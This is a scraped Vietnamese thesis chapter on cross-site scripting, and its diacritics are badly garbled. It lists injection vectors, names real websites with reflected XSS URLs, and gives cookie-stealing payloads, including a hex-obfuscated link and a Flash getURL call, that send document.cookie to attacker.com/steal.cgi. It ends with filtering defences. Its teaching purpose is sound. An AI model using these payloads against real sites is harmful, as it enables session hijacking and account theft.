CÁCH PHÒNG CH NG

Một phần của tài liệu Xây dựng công cụ hỗ trợ quản lý quá trình phát triển đề án phần mềm gắn kết với hệ thống phần mềm Microsoft Project (Trang 46)

Ch ng 5: Chèn mã l nh th c thi trên trình duy t n n nhân (Cross Site Scripting)

CH NG 5:

CHÈN MÃ L NH TH C THI TRÊN TRÌNH DUY T N N NHÂN (CROSS SITE SCRIPTING)

cd

I. K THU T T N CÔNG CROSS SITE SCRIPTING (XSS)

Ph ng pháp Cross Site Scripting (đ c vi t t t là XSS) là ph ng pháp t n công b ng cách chèn thêm nh ng đo n mã có kh n ng đánh c p hay thi t l p đ c nh ng thông tin quan tr ng nh cookies, m t kh u,… vào mã ngu n ng d ng webđ t đó chúngđ c ch y nh là m t ph n c a ng d ng Web và có ch c n ng cung c p ho c th c hi n nh ng nh ngđi u hacker mu n.

Ph ng pháp này không nh m vào máy ch h th ng mà ch y u t n công trên chính máy ng i s d ng. Hacker s l i d ng s ki m tra l ng l o t ng d ng và hi u bi t h n ch c a ng i dùng c ng nh bi t đánh vào s tò mò c a h d n đ n ng i dùng b m t thông tin m t cách d dàng.

Thông th ng hacker l i d ng đa ch URL đ đ a ra nh ng liên k t là tác nhân kích ho t nh ng đo n ch ng trình đ c vi t b ng ngôn ng máy khách nh VBScript, JavaScript…đ c th c thi trên chính trình duy t c a n n nhân.

Ví D 5.I-1:

http://hotwired.lycos.com/webmonkey/00/index1.html?tw=<script>alert (document.cookie);</script>

Ch ng 5: Chèn mã l nh th c thi trên trình duy t n n nhân (Cross Site Scripting)

hay:

http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_te xt=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

Ph n in đ m là đo n mãđ c thêm vào v i m c đích đánh c p cookies c a n n nhân. Trong nh ng ví d 2.I-1 trên, h u h t nh ng ti n t URL là đa ch c a nh ng ng d ng Web có th t (VD: http://www.microsoft.com/education, http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/...) l i d ng cách truy n tham s trên URL mà hacker có th d dàng thêm vào đo n mãđánh c p cookie.

Ví d 5.I-1 trên ch minh h a m t cách đ n gi n là thêm đo n mã c a mình vào trang Web thông qua URL. Nh ng th c s thì có r t nhi u cách đ thêm đo n mã JavaScript v i m c đích t n công ki u XSS. Hacker có th d dàng l i d ng Document Object Model (DOM) đ thay đ i ng c nh và n i d ng Web ng d ng. Sau đây là danh sách n i có th chènđo n mã:

Ví d 5.I-2:

<a href="javas&#99;ript&#35;[code]"> <div onmouseover="[code]">

<img src="javascript:[code]"> <img dynsrc="javascript:[code]">

<input type="image" dynsrc="javascript:[code]"> <bgsound src="javascript:[code]">

&<script>[code]</script> &{[code]};

<img src=&{[code]};>

<liên k t rel="stylesheet" href="javascript:[code]"> <iframe src="vbscript:[code]">

Ch ng 5: Chèn mã l nh th c thi trên trình duy t n n nhân (Cross Site Scripting)

<img src="livescript:[code]">

<a href="about:<s&#99;ript>[code]</script>">

<meta http-equiv="refresh" content="0;url=javascript:[code]"> <body onload="[code]">

<div style="background-image: url(javascript:[code]);"> <div style="behaviour: url([liên k胤t to code]);">

<div style="binding: url([liên k胤t to code]);"> <div style="width: expression([code]);">

<style type="text/javascript">[code]</style>

<object classid="clsid:..." codebase="javascript:[code]"> <script>[code]</script>

<img src="blah"onmouseover="[code]"> <img src="blah>" onmouseover="[code]"> <xml src="javascript:[code]"> (adsbygoogle = window.adsbygoogle || []).push({});

<xml id="X"><a><b>&lt;script>[code]&lt;/script>;</b></a></xml>

(tài li u t http://online.securityfocus.com/archive/1/272037/2002-05-09/2002-05-15/0)

Ph n in đ m là ph n có th đ t đo n mãđánh c p thông tin.

II. PH NG PHÁP T N CÔNG XSS TRUY N TH NG

ng d ng Web th ng l u tr thông tin quan tr ng cookie. Cookie là m u thông tin mà ng d ng l u trên đa c ng c a ng i s d ng. Nh ng ch ng d ng thi t l p ra cookie thì m i có th đ c nó. Do đó ch khi ng i dùng đang trong phiên làm vi c c a ng d ng thì hacker m i có c h i đánh c p cookie. Công vi c đ u tiên c a hacker là tìm trangđích đ d ng i dùng đ ng nh p sau khi đã tìm ra l h ng trên

ng d ng đó.

Ch ng 5: Chèn mã l nh th c thi trên trình duy t n n nhân (Cross Site Scripting)

Hình 5.II-1. Quá trình th c hi n XSS

Tóm t t các b c th c hi n:

• B c 1: Hacker bi t đ c ng i dùng đang s d ng m t ng d ng Web có l h ng XSS.

• B c 2: Ng i dùng nh n đ c 1 liên k t thông qua email hay trên chính trang Web (nh trên guestbook, banner d dàng thêm 1 liên k t do chính hacker t o ra…). Thông th ng hacker khi n ng i dùng chú ý b ng nh ng câu kích thích s tò mò c a ng i dùng nh “ Ki m tra tài kho n”, “M t ph n th ng h p d n

đang ch b n”…

• B c 3: Chuy n n i dung thông tin (cookie, tên, m t kh u…) v máy ch c a hacker.

• B c 4: Hacker t o m t ch ng trình cgi ( ví d 3 này là steal.cgi) ho c m t trang Web đ ghi nh n nh ng thông tin đãđánh c p vào 1 t p tin

• B c 5: Sau khi nh n đ c thông tin c n thi t, hacker có th s d ng đ thâm nh p vào tài kho n c a ng i dùng.

Ch ng 5: Chèn mã l nh th c thi trên trình duy t n n nhân (Cross Site Scripting)

Ví d 5.II-1: khai thác l h ng trên ng d ng hotwired.lycos.com, hacker có th th c hi n nh sau : <html> <head> <title>Look at this!</title> </head> <body> <a href="http://hotwired.lycos.com/webmonkey/index1.html?tw=<script>do cument.location.replace('http://www.attacker.com/steal.cgi?'+docume nt.cookie);</script>"> M t ph n th ng h p d n đang ch b n </a>

</body> </html>

Sau khi ng i dùng nh p vào liên k t “M t ph n th ng h p d n đang ch b n”, cookie trên máy n n nhân s b đánh c p và là tham s truy n vào cho ch ng trình steal.cgi c a hacker. http://www.attacker.com/steal.cgi?lubid=010000508BD3046103F43B8264530098C 20100000000;%20p_uniqid=8sJgk9daas7WUMxV0B;%20gv_titan_20=5901=10195 11286 V n đ đ t ra là có th ng i l p trình s b o v ng d ng Web c a mình b ng cách l c nh ng kí t đ c bi t nh ‘, hay + (có th tránh tr ng h p dùng d u ‘ đ th c hi n câu truy v n SQL ch ng h n)… Nh ng hacker có th l i d ng mã hex thay cho nh ng kí t đ c bi tđ t n công.

Thay th b ng nh ng s hex cho nh ng kí t ASCII. Ví d 5.II-2:

Ch ng 5: Chèn mã l nh th c thi trên trình duy t n n nhân (Cross Site Scripting) http://www.attacker.com/steal.cgi: h -> 0x0068 t -> 0x0074 t -> 0x0074 p -> 0x0070 : -> 0x003A / -> 0x002F …

Sauđây là ví d trong cách dùng mã hex trong ng d ng web.

Ví d 5.II-3: <html> <head> <title>Look at this!</title> </head> <body> <a href="http://hotwired.lycos.com/webmonkey/index1.html?tw=<script>va r u = String.fromCharCode(0x0068);u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0074); u %2B= String.fromCharCode(0x0070);u %2B= String.fromCharCode(0x003A); u %2B= String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x002F); u %2B= String.fromCharCode(0x0061);u %2B= String.fromCharCode(0x0074); u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0061);

Ch ng 5: Chèn mã l nh th c thi trên trình duy t n n nhân (Cross Site Scripting) u %2B= String.fromCharCode(0x0063);u %2B= String.fromCharCode(0x006B); u %2B= String.fromCharCode(0x0065);u %2B= String.fromCharCode(0x0072); u %2B= String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0063); u %2B= String.fromCharCode(0x006F);u %2B= String.fromCharCode(0x006D); u %2B= String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x0073); u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0065); u %2B= String.fromCharCode(0x0061);u %2B= String.fromCharCode(0x006C); u %2B= String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0063); u %2B= String.fromCharCode(0x0067);u %2B= String.fromCharCode(0x0069); u %2B= String.fromCharCode(0x003F); u %2B=document.cookie;document.location.replace(u);</script>" onMouseOver="window.status=’http://www.hotwired.lycos.com/index2.ht ml';return true"

onMouseOut="window.status='';return true">M t ph n th ng h p d n đang ch b n</a>

</body> </html>

III. M T S WEBSITE TÌM TH Y L H NG XSSTên công ty Domain Nh ng liên k t b khai thác Tên công ty Domain Nh ng liên k t b khai thác

Ch ng 5: Chèn mã l nh th c thi trên trình duy t n n nhân (Cross Site Scripting)

nbc.com <script>alert(document.cookie)</script>&frompa ge=4 &page=1&ct=VVTV&mh=0&sh=0&RN=1 Microsoft http://www.micr osoft.com/ http://www.microsoft.com/education/?ID=MCTN &target=http://www.microsoft.com/education/?ID= MCTN &target=<script>alert(document.cookie)</script> Chase https://www.cha se.com/ https://www.chase.com/chase/gx.cgi/FTcs?pagenam e=<script>alert(document.cookie)</script> &urlname=smallbusiness/direct EBay https://scgi.ebay. co.uk/ https://scgi.ebay.co.uk/saw- cgi/eBayISAPI.dll?SSLRegisterShow &countryid=3&siteId=3&co_partnerId=0&UsingSS L=1 &aolemail=<script>alert(document.cookie) </script>

Oracle Japan http://www.orac le.co.jp/ (adsbygoogle = window.adsbygoogle || []).push({});

http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/i m_search_exe?

search_text=<script>alert(document.cookie) </script>

IV. T N CÔNG XSS B NG FLASH

Ngoài nh ng cách đ a m t đo n mã nguy hi m thì hacker còn có th l i d ng nh ng t p tin flash đ đánh c p thông tin.

Ch ng 5: Chèn mã l nh th c thi trên trình duy t n n nhân (Cross Site Scripting)

Macromedia Flash cho phép l p trình b ng m t ngôn ng k ch b n đãđ c xây d ng s n trong Flash là ActionScript. ActionScript có cú pháp đ n gi n và t ng t nh JavaScript, C hay PERL. Ví d hàm getURL() dùng đ g i m t trang web khác, tham s th ng là m t URL ch ng h n nh “http://www.yahoo.com”.

Ví d 5.IV-1:

getURL(“http://www.yahoo.com”)

Tuy nhiên có th thay th URL b ng JavaScript:

getURL(“javascript:alert(document.cookie)”)

Ví d 5.IV-1 trên s làm xu t hi n b ng thông báo ch a cookie c a trang web ch a t p tin flash đó. Nh v y là trang web đó đã b t n công, b ng cách chèn m t đo n JavaScript vào ng d ng Web thông qua t p tin flash. M t ví d khác rõ h n v cách t n công này là:

ây là đo n l nh trong t p tin flash và s đ c thi hành khi t p tin flashđ cđ c:

getURL(“javascript:location(‘http://www.attacker.com?newcookie=’+do cument.cookie)”)

Nh v y là khi ng i dùng xem trang web ch a t p tin flash này thì ngay l p t c cookie c a h do trang web ch a t p tin flash đó t o ra s g i v cho hacker.

Ch ng 5: Chèn mã l nh th c thi trên trình duy t n n nhân (Cross Site Scripting)

Hình 5.IV-2: Cách vi t Action Scipt trong Flash

Ví d 5.IV-2:

DeviantArt là m t trang web n i ti ng, cho phép thành viên c a nó g i các t p tin flash lên cho m i thành viên cùng xem. Vì th hacker có th n c p cookie c a các thành viên và c ng có th là tài kho n c a ng i qu n tr web, b ng cáchđ ng kí làm thành viên c a ng d ng Web này, g i t p tin flash lên máy ch và đ i các n n nhân xem t p tin flash đó. D i đây là đa ch liên k t d n m t t p tin flash nh đã trình bày trong ví d 5.IV-2:

http://www.deviantart.com/deviation/1386080

Ngoài ra các trang web cho phép thành viên g i d li u d ng HTML nh di n đàn, các ch c n ng t o ch kí riêng, … c ng có th là m c tiêu c a cách t n công này, b ng cách nh pđo n mã g i t p tin flash vào.

<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"

codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/s wflash.cab#version=6,0,0,0"

Ch ng 5: Chèn mã l nh th c thi trên trình duy t n n nhân (Cross Site Scripting)

HEIGHT="48" id="1" ALIGN="">

<PARAM NAME=movie VALUE="http://www.ke_tan_cong.com/vidu.swf"> <PARAM NAME=quality VALUE=high>

<PARAM NAME=bgcolor VALUE=#FF9900>

<EMBED src=" http://www.ke_tan_cong.com/vidu.swf" quality=high bgcolor=#FF9900 WIDTH="60" HEIGHT="48" NAME="1" ALIGN="" TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer"> </EMBED> </OBJECT> V. CÁCH PHÒNG CH NG

• V i nh ng d li u, thông tin nh p c a ng i dùng, ng i thi t k ng d ng Web c n ph i th c hi n vài b c c b n sau: o T o ra danh sách nh ng th HTML đ c phép s d ng. o Xóa b th <script> o L c ra b t kì m t đo n mã JavaScript/Java/VBScript/ActiveX/Flash Related nào. o L c d u nháy đ n hay kép

o L c kí t Null ( vì kh n ng thêm m t đo n mã b t kì sau kí t Null khi n cho ng d ng dù đã l c b th <script> v n không nh n ra do ng d ng ngh r ng chu i đã k t thúc t kí t Null này).

Ch ng 5: Chèn mã l nh th c thi trên trình duy t n n nhân (Cross Site Scripting) (adsbygoogle = window.adsbygoogle || []).push({});

o Xóa nh ng kí t “ > ”, “ < ”

o V n cho phép nh p nh ng kí t đ c bi t nh ng s đ c mã hóa theo chu n riêng.

• i v i ng i dùng, c n c u hình l i trình duy t đ nh c nh ng i dùng có cho th c thi ngôn ng k ch b n trên máy c a h hay không? Tùy vào m c đ tin c y mà ng i dùng s quy t đnh.

Nh n xét:

K thu t XSS khá ph bi n và d dàng áp d ng, tuy nhiên m cđ thi t h i ch d ng l i m cđ t n công trên máy n n nhân thông qua nh ng liên k t hay form l ađ o mà hackerđ ađ n cho n n nhân. Vì th , ngoài vi c ng d ng ki m tra tínhđúngđ n c a d li u tr c khi s d ng thì vi c c n nh t là ng i dùng nên c nh giác tr c khi b c vào m t trang Web m i. Có th nói, nh vào s c nh giác c a ng i dùng thì 90% đã đ t đ c s b o m t trong k thu t này. Tuy nhiên, trong ch ng 6, s t n công l i nh m vào máy ch , nh m thu th p thông tin trong c s d li u và t đó giành quy n qu n tr ng d ng.

Ch ng 6: Chèn câu truy v n SQL (SQL Injection)

Ch ng 6

CHÈN CÂU TRUY V N SQL

N i dung:

Một phần của tài liệu Xây dựng công cụ hỗ trợ quản lý quá trình phát triển đề án phần mềm gắn kết với hệ thống phần mềm Microsoft Project (Trang 46)